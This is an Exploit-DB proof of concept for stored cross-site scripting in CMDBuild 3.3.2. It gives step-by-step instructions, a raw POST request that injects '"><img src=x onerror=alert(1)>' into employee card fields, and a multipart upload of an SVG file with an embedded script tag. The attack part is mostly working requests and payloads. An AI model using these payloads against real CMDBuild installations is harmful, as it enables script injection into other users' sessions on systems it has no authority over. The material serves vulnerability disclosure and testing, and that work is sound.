Exploit-DB #50527
Description: CMDBuild 3.3.2 - 'Multiple' Cross Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-11-16
Author: Hosein Vita

Exploit:
# Exploit Title: CMDBuild 3.3.2 - 'Multiple' Cross Site Scripting (XSS)
# Date: 15/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://www.cmdbuild.org
# Software Link: https://www.cmdbuild.org/en/download/latest-version
# Version: CMDBuild 3.3.2
# Tested on: Linux

Summary:

Multiple stored cross-site scripting (XSS) vulnerabilities in Tecnoteca CMDBuild 3.3.1 allow remote attackers to inject arbitrary web script or HTML via a crafted SVG document. The attack vectors include Add Attachment, Add Office, and Add Employee. Almost all add sections

Proof of concepts : 

Stored Xss Example: 

1-Login to you'r Dashboard As a low privilege user
2-Click On Basic archives and Employee
3- +Add card Employee
4- Enter your xss payload in parameters
5-On added employee click on "Open Relation Graph"

POST /cmdbuild/services/rest/v3/classes/Employee/cards?_dc=[PII_REDACTED]58 HTTP/1.1
...
Cmdbuild-Actionid: class.card.new.open
Cmdbuild-Requestid: f487ca06-3678-425f-8606-c6b671145353

Cmdbuild-Clientid: WL3L4mteNCU51FxhSQVzno3K
X-Requested-With: XMLHttpRequest
Content-Length: 302
Connection: close

{"_type":"Employee","_tenant":"","Code":"\"><img src=x onerror=alert(1)>","Description":null,"Surname":"\"><img src=x onerror=alert(1)>","Name":"\"><img src=x onerror=alert(1)>","Type":null,"Qualification":null,"Level":null,"Email":null,"Office":null,"Phone":null,"Mobile":null,"Fax":null,"State":null}


------------------------------------------------------------------------


File upload Xss example:

1-Click on Basic archives
2-Click on Workplace - + Add card Workplace
3-Select "attachments" icon - +Add attachment + image
4-Upload your svg file with xss payload
5-Click on preview and Right click open in new tab



Request: 
POST /cmdbuild/services/rest/v3/classes/Workplace/cards/271248/attachments HTTP/1.1
Cmdbuild-Actionid: class.card.attachments.open

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file"; filename="kiwi.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.4, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="612px" height="502.174px" viewBox="0 65.326 612 502.174" enable-background="new 0 65.326 612 502.174"
	 xml:space="preserve">
<ellipse fill="#C6C6C6" cx="283.5" cy="487.5" rx="259" ry="80"/>
<path id="bird" d="M210.333,65.331C104.367,66.105-12.349,150.637,1.056,276.449c4.303,40.393,18.533,63.704,52.171,79.03
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	<script>alert(1)</script>
</svg>